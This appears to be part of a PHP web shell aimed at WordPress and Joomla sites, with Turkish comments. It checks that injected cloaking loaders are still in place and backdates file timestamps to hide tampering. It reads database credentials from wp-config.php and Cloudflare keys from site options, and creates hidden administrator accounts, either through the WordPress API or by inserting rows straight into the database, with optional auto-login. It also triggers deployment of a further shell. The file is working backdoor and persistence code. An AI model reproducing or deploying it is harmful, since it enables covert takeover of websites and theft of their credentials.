$bodyEmpty=(strlen(trim($body))<20);
if($htmlText!==''&&strlen($htmlText)>=10){
$needle=wrz_cloak_sub($htmlText,0,120);
$matched=(strpos($bodyText,$needle)!==false);
}
if(!$matched&&$htmlText!==''&&strlen($body)>=20){
$matched=(strpos($body,wrz_cloak_sub($htmlText,0,80))!==false);
}
if(!$matched&&$ampContent!==''&&strlen($ampContent)>=10&&strlen($body)>=20){
$matched=(strpos($body,wrz_cloak_sub(trim(strip_tags($ampContent)),0,80))!==false);
}
$idxContent=(string)@file_get_contents($DIR.DIRECTORY_SEPARATOR.'index.php');
$cloakIntact=(strpos($idxContent,'WRZ-AMP-CLOAK')!==false||strpos($idxContent,'wrz-amp-cloak.php')!==false||strpos($idxContent,'wrz-bot-cloak.php')!==false||strpos($idxContent,'wp-comments-post-loader.html')!==false||strpos($idxContent,'WRZ-JOOMLA-CLOAK')!==false);
$loaderExists=false;
if(function_exists('wrz_cloak_joomla_amp_loader_paths')){
foreach(wrz_cloak_joomla_amp_loader_paths($DIR) as $spec){
if(@is_file($spec['file'])){$loaderExists=true;break;}
}
}
if(!$loaderExists){
$loaderExists=@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php');
}
if(!$loaderExists&&strpos($idxContent,'WRZ-AMP-CLOAK')!==false)$loaderExists=true;
$preview=wrz_cloak_sub($body,0,800);
if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview);
$out=json_encode([
'url' =>$url,
'final_url' =>$finalUrl,
'http_code' =>$httpCode,
'curl_error' =>$curlErr,
'matched' =>$matched,
'site_blank' =>$bodyEmpty&&$httpCode>=200&&$httpCode<400,
'html_empty' =>($ampContent===''&&$htmlContent===''),
'amp_bytes' =>strlen($ampContent),
'amp_path' =>$ampSpec?$ampSpec['rel']:'amp.php',
'body_bytes' =>strlen($body),
'cloak_intact'=>$cloakIntact,
'loader_exists'=>$loaderExists,
'html_bytes'=>strlen($htmlContent),
'preview' =>$preview,
],JSON_UNESCAPED_UNICODE);
if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'html_empty'=>($ampContent===''&&$htmlContent===''),'cloak_intact'=>$cloakIntact,'curl_error'=>$curlErr,'preview'=>'(önizleme kodlanamadı)']);
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo $out;exit;
}
// ---- Cache Temizleme --------------------------------------------------------
if($a==="clearcache"){
$res=[];
try {
// 1. PHP OPcache — reset + index.php hedefli invalidate
if(function_exists('opcache_get_status')&&opcache_get_status()!==false){
$ok=opcache_reset();
$idxPhp=$DIR.DIRECTORY_SEPARATOR.'index.php';
if(function_exists('opcache_invalidate')&&file_exists($idxPhp))opcache_invalidate($idxPhp,true);
$res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı + index.php invalidate edildi']:['s'=>'err','m'=>'Sıfırlanamadı'];
}else{
$res['opcache']=['s'=>'na','m'=>'Aktif değil'];
}
// 1b. PHP-FPM graceful restart
if(function_exists('shell_exec')){
$fpmPid=trim((string)@shell_exec('cat /var/run/php-fpm.pid 2>/dev/null'));
if($fpmPid&&ctype_digit($fpmPid)){
@shell_exec("kill -USR2 $fpmPid 2>/dev/null");
$res['fpm_reload']=['s'=>'ok','m'=>"FPM PID $fpmPid — USR2 gönderildi"];
}else{
$res['fpm_reload']=['s'=>'na','m'=>'FPM pid dosyası bulunamadı'];
}
}else{$res['fpm_reload']=['s'=>'na','m'=>'shell_exec devre dışı'];}
// 2. APC
if(function_exists('apc_clear_cache')){
@apc_clear_cache();@apc_clear_cache('user');
$res['apc']=['s'=>'ok','m'=>'Temizlendi'];
}else{
$res['apc']=['s'=>'na','m'=>'Yok'];
}
// 2b. Memcache
if(class_exists('Memcache')){
try{
$mc=new Memcache();$mcOk=false;
foreach([['127.0.0.1',11211],['localhost',11211]] as $_mcPair){
$mh=$_mcPair[0]; $mp=$_mcPair[1];
if(@$mc->connect($mh,$mp)){$mc->flush();$mc->close();$mcOk=true;break;}
}
$res['memcache']=$mcOk?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı kurulamadı'];
}catch(Exception $e){$res['memcache']=['s'=>'err','m'=>$e->getMessage()];}
}else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];}
// 2c. Memcached
if(class_exists('Memcached')){
try{
$mcd=new Memcached();$mcd->addServer('127.0.0.1',11211);
$ok=$mcd->flush();
$res['memcached']=$ok?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı yok veya başarısız'];
}catch(Exception $e){$res['memcached']=['s'=>'err','m'=>$e->getMessage()];}
}else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];}
// 2d. Redis
if(class_exists('Redis')){
try{
$redis=new Redis();$redisOk=false;
foreach([6379,6380] as $rp){
if(@$redis->connect('127.0.0.1',$rp,2)){
$redis->flushAll();$redis->close();
$res['redis']=['s'=>'ok','m'=>"Temizlendi (port $rp)"];
$redisOk=true;break;
}
}
if(!$redisOk)$res['redis']=['s'=>'na','m'=>'Bağlantı kurulamadı'];
}catch(Exception $e){$res['redis']=['s'=>'err','m'=>$e->getMessage()];}
}else{$res['redis']=['s'=>'na','m'=>'Extension yok'];}
// 3. WordPress disk cache (wp-content/cache/) — ana dizin
$cmsClear=wrz_cloak_cms($DIR);
if($cmsClear==='joomla'){
$joomlaDirs=[
'joomla_cache'=>[$DIR.'/cache/','Joomla cache/'],
'joomla_admin_cache'=>[$DIR.'/administrator/cache/','Joomla administrator/cache/'],
'joomla_tmp'=>[$DIR.'/tmp/','Joomla tmp/'],
];
foreach($joomlaDirs as $jk=>$jpair){
$jdir=$jpair[0]; $jlabel=$jpair[1];
if(is_dir($jdir)){
$jcnt=wrz_cloak_cc_rmdir($jdir);
$res[$jk]=['s'=>'ok','m'=>"$jlabel: $jcnt dosya silindi"];
}else{
$res[$jk]=['s'=>'na','m'=>"$jlabel bulunamadi"];
}
}
$res['wp_cache']=['s'=>'na','m'=>'WordPress degil — Joomla cache temizlendi'];
$res['wp_api']=['s'=>'na','m'=>'Joomla — WP plugin API atlandi'];
}else{
$wpCache=$DIR.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache';
if(is_dir($wpCache)){
$count=wrz_cloak_cc_rmdir($wpCache);
$res['wp_cache']=['s'=>'ok','m'=>"$count dosya silindi"];
}else{
$res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ bulunamadı'];
}
// 3b. WP Plugin cache dizinleri — dizin bazlı tespit + silme
$pluginDirs=[
'dir_w3tc' =>[$DIR.'/wp-content/w3tc-cache/','W3 Total Cache'],
'dir_wprocket' =>[$DIR.'/wp-content/wp-rocket-cache/','WP Rocket'],
'dir_litespeed' =>[$DIR.'/wp-content/litespeed/','LiteSpeed'],
'dir_autoptimize'=>[$DIR.'/wp-content/cache/autoptimize/','Autoptimize'],
'dir_endurance' =>[$DIR.'/wp-content/endurance-page-cache/','Endurance Page Cache'],
'dir_wpfastest' =>[$DIR.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'],
'dir_comet' =>[$DIR.'/wp-content/cache/comet-cache/','Comet Cache'],
'dir_enabler' =>[$DIR.'/wp-content/cache/cache-enabler/','Cache Enabler'],
];
foreach($pluginDirs as $k=>$pluginPair){
$pdir=$pluginPair[0]; $plabel=$pluginPair[1];
if(is_dir($pdir)){
$pcnt=wrz_cloak_cc_rmdir($pdir);
$res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"];
}else{
$res[$k]=['s'=>'na','m'=>"$plabel: dizin bulunamadı"];
}
}
// 3c. WordPress API — SHORTINIT ile minimal yukle
$wpLoaded = wrz_cloak_try_load_wp($DIR);
if($wpLoaded){
// WP Object Cache
if(function_exists('wp_cache_flush')){
wp_cache_flush();
$res['wp_object_cache']=['s'=>'ok','m'=>'WP Object Cache temizlendi'];
}
// WP Super Cache
if(function_exists('wp_cache_clear_cache')){
@wp_cache_clear_cache();
$res['api_supercache']=['s'=>'ok','m'=>'WP Super Cache API temizlendi'];
}else{$res['api_supercache']=['s'=>'na','m'=>'WP Super Cache yok'];}
// W3 Total Cache
if(function_exists('w3tc_flush_all')){
@w3tc_flush_all();
if(function_exists('w3tc_flush_dbcache'))@w3tc_flush_dbcache();
if(function_exists('w3tc_flush_objectcache'))@w3tc_flush_objectcache();
if(function_exists('w3tc_flush_minify'))@w3tc_flush_minify();
$res['api_w3tc']=['s'=>'ok','m'=>'W3 Total Cache API temizlendi'];
}else{$res['api_w3tc']=['s'=>'na','m'=>'W3TC yok'];}
// WP Rocket
if(function_exists('rocket_clean_domain')){
@rocket_clean_domain();
if(function_exists('rocket_clean_minify'))@rocket_clean_minify();
if(function_exists('rocket_clean_cache_busting'))@rocket_clean_cache_busting();
$res['api_wprocket']=['s'=>'ok','m'=>'WP Rocket API temizlendi'];
}else{$res['api_wprocket']=['s'=>'na','m'=>'WP Rocket yok'];}
// WP Fastest Cache
if(class_exists('WpFastestCache')){
try{$wpfc=new WpFastestCache();$wpfc->deleteCache();$wpfc->deleteCache(true);
$res['api_wpfastest']=['s'=>'ok','m'=>'WP Fastest Cache API temizlendi'];
}catch(Exception $e){$res['api_wpfastest']=['s'=>'err','m'=>$e->getMessage()];}
}else{$res['api_wpfastest']=['s'=>'na','m'=>'WP Fastest Cache yok'];}
// Autoptimize
if(class_exists('autoptimizeCache')){
@autoptimizeCache::clearall();
$res['api_autoptimize']=['s'=>'ok','m'=>'Autoptimize API temizlendi'];
}else{$res['api_autoptimize']=['s'=>'na','m'=>'Autoptimize yok'];}
// LiteSpeed Cache WP Plugin
if(defined('LSCWP_V')||class_exists('LiteSpeed_Cache')){
do_action('litespeed_purge_all');
do_action('litespeed_purge_cssjs');
$res['api_litespeed']=['s'=>'ok','m'=>'LiteSpeed Cache Plugin API temizlendi'];
}else{$res['api_litespeed']=['s'=>'na','m'=>'LiteSpeed Cache Plugin yok'];}
// SG Optimizer
if(function_exists('sg_cachepress_purge_cache')){
sg_cachepress_purge_cache();
$res['api_sgoptimizer']=['s'=>'ok','m'=>'SG Optimizer temizlendi'];
}else{$res['api_sgoptimizer']=['s'=>'na','m'=>'SG Optimizer yok'];}
// Cache Enabler
if(class_exists('Cache_Enabler')){
Cache_Enabler::clear_total_cache();
$res['api_cacheenabler']=['s'=>'ok','m'=>'Cache Enabler API temizlendi'];
}else{$res['api_cacheenabler']=['s'=>'na','m'=>'Cache Enabler yok'];}
// Comet Cache
if(class_exists('comet_cache')){
comet_cache::clear();
$res['api_comet']=['s'=>'ok','m'=>'Comet Cache API temizlendi'];
}else{$res['api_comet']=['s'=>'na','m'=>'Comet Cache yok'];}
// Hummingbird
if(class_exists('Hummingbird\WP_Hummingbird')){
do_action('wphb_clear_page_cache');
$res['api_hummingbird']=['s'=>'ok','m'=>'Hummingbird temizlendi'];
}else{$res['api_hummingbird']=['s'=>'na','m'=>'Hummingbird yok'];}
// Swift Performance
if(class_exists('Swift_Performance_Cache')){
Swift_Performance_Cache::clear_all_cache();
$res['api_swift']=['s'=>'ok','m'=>'Swift Performance temizlendi'];
}else{$res['api_swift']=['s'=>'na','m'=>'Swift Performance yok'];}
// Cloudflare — WP options'tan kimlik bilgilerini çek
if(function_exists('get_option')&&function_exists('curl_init')){
$cfEmail=get_option('cloudflare_email','')?:get_option('cf_email','');
$cfKey =get_option('cloudflare_api_key','')?:get_option('cf_api_key','');
$cfZone =get_option('cloudflare_zone_id','')?:get_option('cloudflare-zone-id','');
if($cfEmail&&$cfKey&&$cfZone){
$ch=curl_init("https://api.cloudflare.com/client/v4/zones/$cfZone/purge_cache");
curl_setopt_array($ch,[
CURLOPT_CUSTOMREQUEST =>'POST',
CURLOPT_HTTPHEADER =>["X-Auth-Email: $cfEmail","X-Auth-Key: $cfKey","Content-Type: application/json"],
CURLOPT_POSTFIELDS =>json_encode(['purge_everything'=>true]),
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_TIMEOUT =>15,
CURLOPT_SSL_VERIFYPEER =>false,
]);
$cfResp=curl_exec($ch);$cfCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cfErr=curl_error($ch);curl_close($ch);
if(!$cfErr&&$cfCode===200){
$res['cloudflare']=['s'=>'ok','m'=>'Cloudflare zone tamamen temizlendi'];
}else{
$res['cloudflare']=['s'=>'err','m'=>"Cloudflare API hatası HTTP $cfCode".($cfErr?" ($cfErr)":'')];
}
}else{
$res['cloudflare']=['s'=>'na','m'=>'Cloudflare bilgileri WP options\'ta bulunamadı'];
}
}else{
$res['cloudflare']=['s'=>'na','m'=>'Cloudflare: cURL yok veya WP yüklenmedi'];
}
}else{
$res['wp_api']=['s'=>'na','m'=>'wp-load.php bulunamadı — WP plugin API\'leri atlandı'];
}
} // end WordPress-only cache block
// 4. Aruba CDN purge (127.0.0.1:8889)
if(function_exists('curl_init')){
$hhost=$_SERVER['HTTP_HOST'];
$ch=curl_init('http://127.0.0.1:8889/purge/');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>["Host: $hhost"],CURLOPT_TIMEOUT=>3,CURLOPT_CONNECTTIMEOUT=>2]);
curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch);
$res['aruba']=$cerr||$code===0
?['s'=>'na','m'=>'Port 8889 yanıt vermedi (Aruba değil)']
:['s'=>'ok','m'=>"Purge edildi (HTTP $code)"];
}else{$res['aruba']=['s'=>'na','m'=>'cURL yok'];}
// 5. Varnish PURGE (127.0.0.1:6081 → 80)
$vDone=false;
if(function_exists('curl_init')){
$hhost=$_SERVER['HTTP_HOST'];
foreach([6081,80] as $vp){
$ch=curl_init("http://127.0.0.1:$vp/");
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hhost","X-Purge-Method: default"],CURLOPT_TIMEOUT=>2,CURLOPT_CONNECTTIMEOUT=>2]);
curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch);
if(!$cerr&&$code>0){$res['varnish']=['s'=>'ok','m'=>"PURGE port $vp → HTTP $code"];$vDone=true;break;}
}
if(!$vDone)$res['varnish']=['s'=>'na','m'=>'Varnish tespit edilmedi'];
}else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];}
// 5b. Nginx FastCGI Cache — yaygın dizin konumlarını tara
$nginxFound=false;
foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $ndir){
if(is_dir($ndir)&&is_writable($ndir)){
$ncnt=wrz_cloak_cc_rmdir($ndir);
$res['nginx_cache']=['s'=>'ok','m'=>"Nginx FastCGI Cache: $ncnt dosya silindi ($ndir)"];
$nginxFound=true;break;
}
}
if(!$nginxFound)$res['nginx_cache']=['s'=>'na','m'=>'Nginx FastCGI Cache dizini bulunamadı'];
// 6. Hostinger/LiteSpeed WP-CLI purge
$wpCli='';
foreach(['/usr/local/bin/wp','/usr/bin/wp','/bin/wp'] as $p){if(@file_exists($p)){$wpCli=$p;break;}}
if($wpCli&&function_exists('shell_exec')){
$out=trim((string)@shell_exec("cd ".escapeshellarg($DIR)." && $wpCli litespeed-purge all --allow-root 2>&1"));
$res['litespeed_wpcli']=['s'=>'ok','m'=>$out?:"Çalıştırıldı"];
}elseif(!$wpCli){
$res['litespeed_wpcli']=['s'=>'na','m'=>'WP-CLI bulunamadı'];
}else{
$res['litespeed_wpcli']=['s'=>'na','m'=>'shell_exec devre dışı'];
}
// 7. .htaccess tarama (değiştirmez, yalnızca uyarır)
$htFile=$DIR.DIRECTORY_SEPARATOR.'.htaccess';
if(file_exists($htFile)){
$ht=(string)@file_get_contents($htFile);
$warns=[];
if(preg_match('/ExpiresActive\s+On|ExpiresByType/i',$ht))$warns[]='mod_expires';
if(preg_match('/W3TC|W3 Total Cache/i',$ht))$warns[]='W3TC';
if(preg_match('/LiteSpeed/i',$ht))$warns[]='LiteSpeed';
if(preg_match('/max-age\s*=\s*[1-9][0-9]{2,}/i',$ht))$warns[]='max-age';
$res['htaccess']=$warns
?['s'=>'warn','m'=>'Dikkat: '.implode(', ',$warns).' tespit edildi — manuel kontrol önerilir']
:['s'=>'ok','m'=>'Sorunlu kural bulunamadı'];
}else{
$res['htaccess']=['s'=>'na','m'=>'.htaccess yok'];
}
// 8. Cache Warmup — masaüstü + mobil UA ile anasayfayı ısıt
if(function_exists('curl_init')){
$wScheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
$wUrl=$wScheme.'://'.$_SERVER['HTTP_HOST'].'/';
$wUAs=[
'warmup_desktop'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'warmup_mobile' =>'Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
];
foreach($wUAs as $wKey=>$wUA){
$wch=curl_init();
curl_setopt_array($wch,[
CURLOPT_URL =>$wUrl,
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_USERAGENT =>$wUA,
CURLOPT_TIMEOUT =>10,
CURLOPT_FOLLOWLOCATION =>true,
CURLOPT_MAXREDIRS =>3,
CURLOPT_SSL_VERIFYPEER =>false,
CURLOPT_SSL_VERIFYHOST =>false,
CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: tr-TR,tr;q=0.9,en;q=0.8'],
]);
curl_exec($wch);
$wCode=(int)curl_getinfo($wch,CURLINFO_HTTP_CODE);
$wErr=curl_error($wch);
curl_close($wch);
$res[$wKey]=$wErr
?['s'=>'err','m'=>'Warmup hatası: '.$wErr]
:['s'=>'ok','m'=>'HTTP '.$wCode.' → '.$wUrl];
}
}else{
$res['warmup_desktop']=['s'=>'na','m'=>'cURL yok'];
$res['warmup_mobile'] =['s'=>'na','m'=>'cURL yok'];
}
} catch (Throwable $e) {
wrz_cloak_json_exit(['error' => $e->getMessage(), 'fatal' => 'clearcache']);
}
wrz_cloak_json_exit($res);
}
// ---- Timestamp maskeleme ---------------------------------------------------
if($a==="fixtimestamp"){
$cms=wrz_cloak_cms($DIR);
$skip=[basename(__FILE__)];
$maskFiles=[$INDEX_FILE,$HTML_FILE];
if($cms==='joomla'){
$boot=wrz_cloak_joomla_bootstrap($DIR);
$rel=str_replace('\\','/',$boot);
$base=str_replace('\\','/',$DIR).'/';
if(strpos($rel,$base)===0)$rel=substr($rel,strlen($base));
$maskFiles[]=$rel;
}else{
$maskFiles[]='wp-blog-header.php';
}
$refMt=wrz_cloak_ref_mtime($DIR,array_merge($skip,$maskFiles));
$res=[];
if(!$refMt){
$res['ref']=['s'=>'warn','m'=>'Dizinde referans dosya bulunamadı'];
header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit;
}
$res['ref']=['s'=>'ok','m'=>'Referans tarih: '.date('d.m.Y H:i',$refMt)];
foreach($maskFiles as $mf){
$fp=$DIR.DIRECTORY_SEPARATOR.str_replace('/',DIRECTORY_SEPARATOR,$mf);
if(!file_exists($fp)){$res[$mf]=['s'=>'na','m'=>'Dosya yok'];continue;}
$old=@filemtime($fp);
$ok=@touch($fp,$refMt);
$res[$mf]=['s'=>$ok?'ok':'err','m'=>date('d.m.Y H:i',$old).' → '.date('d.m.Y H:i',$refMt)];
}
header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit;
}
while (@ob_get_level() > 0) {
@ob_end_clean();
}
wrz_cloak_json_exit(['error' => 'Bilinmeyen cloak islemi: ' . $a]);
}
// ===== /Cloak =====
if (function_exists('wrz_cloak_handle_request') && wrz_cloak_handle_request()) {
exit;
}
function wrz_read_wp_config($root) {
$file = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-config.php';
if (!@is_file($file)) {
return null;
}
$src = @file_get_contents($file);
if ($src === false || $src === '') {
return null;
}
$cfg = [];
foreach (['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST'] as $key) {
if (preg_match("/define\s*\(\s*['\"]{$key}['\"]\s*,\s*['\"]((?:\\\\.|[^'\\\\])*)['\"]\s*\)/", $src, $m)) {
$cfg[$key] = stripcslashes($m[1]);
} elseif (preg_match("/define\s*\(\s*['\"]{$key}['\"]\s*,\s*['\"]['\"]\s*\)/", $src)) {
$cfg[$key] = '';
}
}
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/', $src, $m)) {
$cfg['table_prefix'] = $m[1];
} else {
$cfg['table_prefix'] = 'wp_';
}
if (empty($cfg['DB_NAME']) || !isset($cfg['DB_USER']) || empty($cfg['DB_HOST'])) {
return null;
}
return $cfg;
}
function wrz_guess_email_domain() {
$host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : '';
$host = preg_replace('/:\d+$/', '', $host);
$host = preg_replace('/[^a-z0-9.-]/i', '', $host);
return $host !== '' ? $host : 'localhost.local';
}
function wrz_wp_hash_password($root, $password) {
$class = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-includes/class-phpass.php';
if (!@is_file($class)) {
return null;
}
require_once $class;
if (!class_exists('PasswordHash')) {
return null;
}
$hasher = new PasswordHash(8, true);
return $hasher->HashPassword($password);
}
function wrz_wp_user_exists_db($mysqli, $usersTable, $login, $email) {
$stmt = @$mysqli->prepare("SELECT ID FROM `{$usersTable}` WHERE user_login = ? OR user_email = ? LIMIT 1");
if (!$stmt) {
return false;
}
$stmt->bind_param('ss', $login, $email);
if (!$stmt->execute()) {
$stmt->close();
return false;
}
if (method_exists($stmt, 'get_result')) {
$res = $stmt->get_result();
$exists = $res && $res->num_rows > 0;
} else {
$stmt->store_result();
$exists = $stmt->num_rows > 0;
}
$stmt->close();
return $exists;
}
function wrz_create_wp_admin_db($root, $login, $pass, $email) {
$cfg = wrz_read_wp_config($root);
if (!$cfg) {
return ['ok' => false, 'err' => 'wp-config.php okunamadi'];
}
$hash = wrz_wp_hash_password($root, $pass);
if (!$hash) {
return ['ok' => false, 'err' => 'WordPress sifre hash uretilemedi'];
}
if (!class_exists('mysqli')) {
return ['ok' => false, 'err' => 'mysqli eklentisi yok'];
}
$mysqli = @new mysqli($cfg['DB_HOST'], $cfg['DB_USER'], $cfg['DB_PASSWORD'] ?? '', $cfg['DB_NAME']);
if ($mysqli->connect_errno) {
return ['ok' => false, 'err' => 'DB baglantisi basarisiz: ' . $mysqli->connect_error];
}
$mysqli->set_charset('utf8mb4');
$prefix = $cfg['table_prefix'];
$usersTable = $prefix . 'users';
$metaTable = $prefix . 'usermeta';
if (wrz_wp_user_exists_db($mysqli, $usersTable, $login, $email)) {
$mysqli->close();
return ['ok' => false, 'err' => 'Kullanici zaten var, yeni login uretiliyor'];
}
$nice = strtolower(preg_replace('/[^a-z0-9_-]+/i', '-', $login));
$nice = trim($nice, '-');
if ($nice === '') {
$nice = $login;
}
$now = date('Y-m-d H:i:s');
$status = 0;
$stmt = @$mysqli->prepare(
"INSERT INTO `{$usersTable}` (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (?, ?, ?, ?, ?, ?, ?)"
);
if (!$stmt) {
$err = $mysqli->error;
$mysqli->close();
return ['ok' => false, 'err' => 'Kullanici eklenemedi: ' . $err];
}
$stmt->bind_param('sssssis', $login, $hash, $nice, $email, $now, $status, $login);
if (!$stmt->execute()) {
$err = $stmt->error;
$stmt->close();
$mysqli->close();
return ['ok' => false, 'err' => 'Kullanici kaydi basarisiz: ' . $err];
}
$uid = (int) $stmt->insert_id;
$stmt->close();
if ($uid <= 0) {
$mysqli->close();
return ['ok' => false, 'err' => 'Kullanici ID alinamadi'];
}
$capsKey = $prefix . 'capabilities';
$levelKey = $prefix . 'user_level';
$capsVal = serialize(['administrator' => true]);
$metaRows = [
[$capsKey, $capsVal],
[$levelKey, '10'],
['nickname', $login],
['first_name', ''],
['last_name', ''],
];
$metaStmt = @$mysqli->prepare("INSERT INTO `{$metaTable}` (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
if (!$metaStmt) {
$mysqli->close();
return ['ok' => true, 'uid' => $uid, 'warn' => 'Admin yetkisi meta eklenemedi'];
}
foreach ($metaRows as $row) {
$metaStmt->bind_param('iss', $uid, $row[0], $row[1]);
@$metaStmt->execute();
}
$metaStmt->close();
$mysqli->close();
return ['ok' => true, 'uid' => $uid];
}
function wrz_random_admin_creds($emailDomain = null) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$domain = $emailDomain ?: wrz_guess_email_domain();
do {
$login = 'admin_' . substr(md5(uniqid((string) mt_rand(), true)), 0, 6);
$exists = function_exists('username_exists') ? @username_exists($login) : false;
} while ($exists);
$pass = '';
$len = strlen($chars) - 1;
for ($i = 0; $i < 12; $i++) {
$pass .= $chars[function_exists('random_int') ? random_int(0, $len) : mt_rand(0, $len)];
}
$email = $login . '@' . $domain;
return [$login, $pass, $email];
}
function wrz_bootstrap_wp_for_admin($root) {
$wpl = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-load.php';
if (!@is_file($wpl)) {
return false;
}
if (function_exists('wp_create_user') || function_exists('wp_insert_user')) {
return true;
}
if (!defined('WP_USE_THEMES')) {
define('WP_USE_THEMES', false);
}
@ob_start();
try {
require_once $wpl;
} catch (Throwable $e) {
@ob_end_clean();
return false;
}
@ob_end_clean();
return function_exists('wp_create_user') || function_exists('wp_insert_user');
}
function wrz_wp_admin_success($root, $login, $pass, $uid, $auto_login, $via = 'api') {
$admin_url = '';
$login_url = '';
if ($via === 'api' && function_exists('admin_url')) {
$admin_url = (string) @admin_url();
$login_url = function_exists('wp_login_url') ? (string) @wp_login_url($admin_url ?: '') : '';
if (class_exists('WP_User')) {
@(new WP_User((int) $uid))->set_role('administrator');
}
if ($auto_login && function_exists('wp_set_auth_cookie')) {
@wp_clear_auth_cookie();
@wp_set_current_user((int) $uid);
@wp_set_auth_cookie((int) $uid, true);
if (function_exists('do_action') && function_exists('get_userdata')) {
@do_action('wp_login', $login, get_userdata((int) $uid));
}
}
} else {
$scheme = wrz_is_https() ? 'https://' : 'http://';
$host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : '';
$admin_url = $host !== '' ? $scheme . $host . '/wp-admin/' : '/wp-admin/';
$login_url = $host !== '' ? $scheme . $host . '/wp-login.php' : '/wp-login.php';
}
$admin_link = $admin_url !== ''
? ' <a href="' . htmlspecialchars($admin_url) . '" style="color:#00ffff">wp-admin</a>'
: '';
$viaLabel = $via === 'db' ? ' (DB)' : '';
return [
'ok' => true,
'msg' => '<span style="color:#00ffff">WP Admin Olusturuldu' . $viaLabel . '! User: <b>'
. htmlspecialchars($login) . '</b> Pass: <b>' . htmlspecialchars($pass) . '</b></span>' . $admin_link,
'admin_url' => $admin_url,
'login_url' => $login_url,
'user' => $login,
'pass' => $pass,
];
}
function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: []; }
function wrz_create_wp_admin($auto_login = true) {
$roots = wrz_wp_roots();
if (!$roots) {
$shellRoot = wrz_find_wp_root(__DIR__);
if ($shellRoot) {
$roots = [$shellRoot];
}
}
if (!$roots) {
return [
'ok' => false,
'msg' => '<span style="color:#ff3366">WordPress bulunamadi (wp-load.php)</span>',
];
}
$errors = [];
foreach ($roots as $root) {
if (!@is_file($root . '/wp-load.php')) {
continue;
}
$domain = wrz_guess_email_domain();
for ($try = 0; $try < 3; $try++) {
[$login, $pass, $email] = wrz_random_admin_creds($domain);
if (wrz_bootstrap_wp_for_admin($root)) {
if (function_exists('wp_create_user')) {
$uid = @wp_create_user($login, $pass, $email);
} else {
$uid = @wp_insert_user([
'user_login' => $login,
'user_pass' => $pass,
'user_email' => $email,
'role' => 'administrator',
'display_name' => $login,
]);
}
if (!(function_exists('is_wp_error') && is_wp_error($uid)) && $uid) {
return wrz_wp_admin_success($root, $login, $pass, (int) $uid, $auto_login, 'api');
}
if (function_exists('is_wp_error') && is_wp_error($uid)) {
$errors[] = $uid->get_error_message();
} else {
$errors[] = 'WP API kullanici olusturamadi';
}
}
$dbResult = wrz_create_wp_admin_db($root, $login, $pass, $email);
if (!empty($dbResult['ok'])) {
return wrz_wp_admin_success($root, $login, $pass, (int) $dbResult['uid'], false, 'db');
}
if (!empty($dbResult['err']) && stripos($dbResult['err'], 'zaten var') === false) {
$errors[] = $dbResult['err'];
break;
}
}
}
$detail = $errors ? ': ' . htmlspecialchars(implode(' | ', array_unique($errors))) : '';
return [
'ok' => false,
'msg' => '<span style="color:#ff3366">WP Admin olusturulamadi' . $detail . '</span>',
];
}
$currentPath = $_GET['p'] ?? @getcwd() ?: '.';
$currentPath = rtrim(str_replace(['\\', '//'], '/', $currentPath), '/') . '/';
if (!@is_dir($currentPath)) {
$currentPath = './';
}
$message = '';
$wp_admin_result = null;
$wrz_deploy_result = null;
if (isset($_GET['wp_admin']) && $_GET['wp_admin'] == '1') {
$wp_admin_result = wrz_create_wp_admin(true);
$message = $wp_admin_result['msg'];
}
if (isset($_GET['wrz_deploy']) && $_GET['wrz_deploy'] === '1') {
$wrz_deploy_result = wrz_deploy_shell();
$message = $wrz_deploy_result['html'];
}
